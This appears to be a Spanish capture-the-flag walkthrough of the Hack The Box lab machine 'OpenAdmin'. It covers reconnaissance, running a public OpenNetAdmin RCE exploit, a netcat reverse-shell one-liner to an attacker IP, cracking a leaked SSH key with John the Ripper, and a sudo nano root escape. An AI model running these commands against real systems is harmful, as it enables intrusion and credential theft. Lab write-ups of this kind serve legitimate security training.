# OpenAdmin

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.171
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnF4DjqGq5xyd2EcMMvMr%2Fimage.png?alt=media&#x26;token=8c1b6b0e-6034-4e3a-ab27-5d7678f91bfd" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.171
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfqIWug708TN45NU8iJoW%2Fimage.png?alt=media&#x26;token=a3092c0c-6ed2-426c-85c6-93d0e9e13138" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 22 (SSH):** El puerto 22 está abierto y ejecutando OpenSSH 7.6p1 en un sistema Ubuntu Linux. Se han detectado las claves del host en los algoritmos RSA, ECDSA y ED25519, lo que indica que el sistema permite conexiones seguras mediante SSH.
* **Puerto 80 (HTTP):** El puerto 80 está abierto y ejecutando un servidor web Apache 2.4.29 en Ubuntu. La página detectada es la predeterminada de Apache en Ubuntu, lo que sugiere que el servidor web podría estar recién configurado o sin contenido adicional.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 10.10.10.171
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvikQghhkQrtAPAJNty6i%2Fimage.png?alt=media&#x26;token=aa5d9a3e-df11-4e6f-ba48-888c7be249ab" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FG1mSWTt6gNW9bXMdpnWJ%2Fimage.png?alt=media&#x26;token=0f92ce14-f26c-4f3a-a4da-fa0ee479a230" alt=""><figcaption></figcaption></figure>

No vemos nada así a primera vista ni tampoco en el código fuente por lo que vamos a escanear directorios.

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.10.171/FUZZ
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYQl6jqbpeSuVQittnksi%2Fimage.png?alt=media&#x26;token=1bb7b545-136e-4891-ab52-f4dd20d6d6ba" alt=""><figcaption></figcaption></figure>

Entramos en el directorio `/music`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDv9717Zbknjcv6UJNWbC%2Fimage.png?alt=media&#x26;token=f3357674-05c7-48e9-9a40-41d2b4a24278" alt=""><figcaption></figcaption></figure>

Vemos que hay un panel de Login.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOA0qLzuNydduJGXZcVsW%2FCaptura%20de%20pantalla%202025-02-23%20160359.png?alt=media&#x26;token=7a0a7cf5-3f66-4987-946f-80c125818bf0" alt=""><figcaption></figcaption></figure>

Parece un controlador de dominios por lo que lo añado.

```
echo "10.10.10.171 openadmin.htb" >> /etc/hosts
```

Vemos que se nos muestra una versión por lo que miramos si hay alguna versión.

```
searchsploit opennetadmin
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmhBe2WyWiiBkwI2sCXqy%2Fimage.png?alt=media&#x26;token=1f086719-54b1-4bd8-acdd-e01a2dd62dcc" alt=""><figcaption></figcaption></figure>

Nos lo descargamos.

```bash
searchsploit -m php/webapps/47691.sh
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fr3gxBRxd2rxFEk9BTWIi%2Fimage.png?alt=media&#x26;token=41f35aef-fe9e-4ccf-82f6-c4d3698b40c2" alt=""><figcaption></figcaption></figure>

Ejecutamos.

```bash
./47691.sh http://10.10.10.171/ona/
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsAiABcYoSLrDHQ9f7BcQ%2Fimage.png?alt=media&#x26;token=b71ffe91-acf9-4827-ba77-7c33246c99f9" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Nos mandamos una Reverse Shell.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.43 443 >/tmp/f
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F0Jep583ckSGirF7s26Ey%2Fimage.png?alt=media&#x26;token=66788086-21a3-47dc-884e-67e42d276ffc" alt=""><figcaption></figcaption></figure>

En la ruta `/opt/ona/www/local/config`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmOfrZ8iP0zV4oR1c0Rgz%2Fimage.png?alt=media&#x26;token=dade9c7a-8d3e-429e-948f-b611f87336dc" alt=""><figcaption></figcaption></figure>

Encontramos unas credenciales. Es habitual que los usuarios reutilicen contraseñas así que nos logueamos con esas.

```bash
ssh jimmy@10.10.10.171
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiuUuzXJScn5CR9oORfYc%2Fimage.png?alt=media&#x26;token=94d3314b-6a6f-4ecf-99da-5869249cd9cd" alt=""><figcaption></figcaption></figure>

En la ruta `/var/www/internal` encontramos archivos interesantes.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5iKABSoHnnYamX7ZaHe5%2Fimage.png?alt=media&#x26;token=943977c1-35d8-4873-8116-6710d061cceb" alt=""><figcaption></figcaption></figure>

Vemos que interactúa con el **main.php**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBw5YaHhTrMob6LjGTigj%2Fimage.png?alt=media&#x26;token=1999577b-f4fb-4709-bf35-046eb92fe51a" alt=""><figcaption></figcaption></figure>

Parece que el archivo `main.php` está ejecutando un comando del sistema, y cada vez que se ejecuta, muestra la clave privada (`id_rsa`) de Joanna (otro usuario).

El archivo no era accesible desde el exterior, lo que indica que probablemente esté alojado de forma interna. Por ello, decidí revisar los puertos que estaban en escucha.

```bash
netstat -l
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJGDhb3iLP0BB8lLHaESb%2Fimage.png?alt=media&#x26;token=282ea2d5-aa07-4eb2-87f7-f4e7558fb84e" alt=""><figcaption></figcaption></figure>

```bash
curl http://127.0.0.1:52846/main.php
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtvHKhRxy62tXKCxoK9ew%2Fimage.png?alt=media&#x26;token=8e21002a-8bde-46c8-8e6a-cfe1dbbee9b6" alt=""><figcaption></figcaption></figure>

Nos lo copiamos y le damos permisos.

```
chmod 600 id_rsa
```

Usamos John The Ripper para sacar la contraseña de la clave cifrada.

```bash
ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIFNk2HczIUTpYlzYuqCo%2Fimage.png?alt=media&#x26;token=18d8a9b1-9704-4b32-ac38-d0d3fa2eb1e7" alt=""><figcaption></figcaption></figure>

Iniciamos sesión con Joana.

```bash
ssh -i id_rsa joanna@10.10.10.171
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7uXqmQcOMGsRGFrDkl2k%2Fimage.png?alt=media&#x26;token=f0948198-f333-4ad1-bf7a-ba893840f2e3" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ftj6BPm8OesANgzEgd0jx%2Fimage.png?alt=media&#x26;token=d888ba0e-e1a5-43b3-9548-0ec4d98b624a" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/nano/>" %}

```bash
sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fa9rFQyRNdtL72AK2IcyN%2Fimage.png?alt=media&#x26;token=2491fee7-00b4-4c5f-ba8e-440781ded3ca" alt=""><figcaption></figcaption></figure>

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fhcdh9DTMFWDVMu8N0yQk%2Fimage.png?alt=media&#x26;token=80d04c9b-1d14-48b5-b47e-100b9fb93835" alt=""><figcaption></figcaption></figure>
